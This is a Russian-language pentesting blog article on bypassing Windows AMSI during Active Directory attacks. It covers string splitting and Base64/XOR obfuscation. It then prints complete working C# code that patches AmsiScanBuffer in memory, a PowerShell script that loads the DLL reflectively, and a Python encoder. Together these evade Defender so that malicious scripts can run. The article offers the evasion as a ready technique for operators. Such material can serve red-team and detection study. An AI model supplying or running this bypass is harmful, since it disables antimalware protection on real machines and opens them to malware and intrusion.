Как обойти PowerShell AMSI при атаке на Active Directory

Обход PowerShell AMSI при атаке на Active Directory

Antimalware Scan Interface (AMSI) позволяет приложениям и службам интегрироваться с любым имеющимся на компьютере продуктом для защиты от вредоносных программ. AMSI не зависит от поставщика антивирусных решений. Он разработан c учетом наиболее распространенных методов сканирования и защиты от них. К тому же AMSI поддерживает структуру вызовов, позволяющую сканировать файлы, память или поток, проверять URL/IP-адреса источника. Таким образом, AMSI сканирует, находит и блокирует все, что, по его мнению, может нанести вред системе.

Другие статьи на тему пентеста Active Directory:

По умолчанию AMSI работает с Microsoft Defender. Защитник Windows отменит свою регистрацию в качестве поставщика AMSI и отключится, когда другой антивирусный движок зарегистрируется в этом качестве.

Ошибки выполнения кода, вызываемые AMSI, можно получить при использовании таких известных сценариев, как PowerShell Empire или PowerSploit. На самом деле AMSI детектирует вредоносное ПО на основе известных строк. К примеру, если хоть где-то в коде встретится строка amsiutils, дальнейшее выполнение кода будет заблокировано.

Ошибка выполнения, вызванная AMSI
Ошибка выполнения, вызванная AMSI

Обойти сканирование на основе известных строк легко: достаточно не использовать строки в целом виде. То есть, если мы разобьем строку amsiutils на строки ams, iut и ils, код будет успешно выполнен.

Конкатенация строк для обхода сканирования AMSI
Конкатенация строк для обхода сканирования AMSI

Но при использовании серьезных сценариев этот трюк может не сработать. Таким образом, мы можем вообще уйти от конкатенации разделенных строк благодаря простому кодированию и декодированию строк. Таким способом мы получим исходную строку в момент выполнения. В качестве кодировки можно использовать Base64.

Использование кодировки Base64 для обхода сканирования AMSI
Использование кодировки Base64 для обхода сканирования AMSI

Но если мы сгенерируем полезную нагрузку и закодируем ее в Base64, то AMSI все равно ее распознает (не помогает скрыться даже двойное кодирование Base64)! Поэтому куда более надежным способом будет использование XOR.

Использование XOR для обхода сканирования AMSI
Использование XOR для обхода сканирования AMSI

Но XOR тоже можно распознать, правда для этого потребуется более высокая абстракция. Поэтому лучше использовать комбинированные решения: например, XOR + Base64, Base64 + ROT13.

Как мы уже говорили в прошлых статьях, гораздо удобнее немного модернизировать средство защиты, тем самым меняя его функциональные возможности. То же самое и с AMSI: обход строк — это хорошо, но лучше, когда оператор использует полные скрипты и ему ничего не мешает.

AMSI имеет несколько функций, которые выполняются перед запуском любого кода PowerShell (начиная с PowerShell 3.0), поэтому, чтобы полностью обойти AMSI и выполнить любой вредоносный скрипт PowerShell, оператору необходимо внести поправки непосредственно в памяти.

AMSI защищает PowerShell, загружая библиотеку amsi.dll в область памяти PowerShell. При этом AMSI не различает пользователя с низкими привилегиями и привилегированного пользователя, такого как администратор какой-нибудь службы. AMSI загружает свою DLL для любого экземпляра PowerShell и сканирует консоль PowerShell с помощью Windows Defender, чтобы определить, следует ли блокировать операцию с полезной нагрузкой или разрешить ее выполнение.

Для начала необходимо собрать DLL-библиотеку, которая будет отключать AMSI. Немного изменив код (представленный на одной из конференций — сейчас я уже не вспомню, на какой), чтобы уйти от использования слов AMSI, BYPASS и подобных, получаем следующую DLL:

using System;
using System.Runtime.InteropServices;

public class A
{
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void B()
    {
        if (is64Bit())
            PA(x64);
        else
            PA(x86);
    }

    private static void PA(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "Am" + "siS" + "ca" + "nBu" + "ffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

    private static bool is64Bit()
        {
            bool is64Bit = true;

            if (IntPtr.Size == 4)
                is64Bit = false;

            return is64Bit;
        }
}

class Win32
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}

Теперь используем PowerShell-скрипт для загрузки DLL и выполнения целевой функции. Исходный сценарий, который работал на момент представления этой методики на конференции, уже легко обнаруживается AMSI.

function B-A
{
    if(-not ([System.Management.Automation.PSTypeName]"A").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("DLL библиотека в BASE64")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [A]::B()
}
Сообщение Windows Defender при обнаружении скрипта
Сообщение Windows Defender при обнаружении скрипта

Это происходит потому, что AMSI способен снять кодировку Base64. Но можно комбинировать методы обхода. К примеру, Base64 + XOR + Base64. Закодируем DLL с помощью следующего скрипта на Python.

#!/usr/bin/python3

import base64

with open("./AB.dll", "rb") as file:
    dll = file.read()

enc = base64.b64encode(dll)
encxor = bytes( [ 96^byte for byte in enc ] )
encenc = base64.b64encode(encxor)

print(encenc)

Тогда PowerShell-скрипт будет выглядеть следующим образом.

function A-B
{
    if(-not ([System.Management.Automation.PSTypeName]"A").Type) {
        $encenc = "Закодированная DLL библиотека"
        $enc = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encenc))
        $dec=@()
        foreach($byte in [Text.Encoding]::UTF8.GetBytes($enc)){ $dec += $byte -bxor 96 }
        $u = [Text.Encoding]::UTF8.GetString($dec)
        [Reflection.Assembly]::Load([Convert]::FromBase64String($u)) | Out-Null
        Write-Output "DLL has been reflected"
    }
    [A]::B()
}
Отключенный AMSI больше не реагирует на опасные строки
Отключенный AMSI больше не реагирует на опасные строки

Это очень полезная и удобная техника, позволяющая работать со скриптами, которые AMSI блокировал.

Другие статьи на тему пентеста Active Directory

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *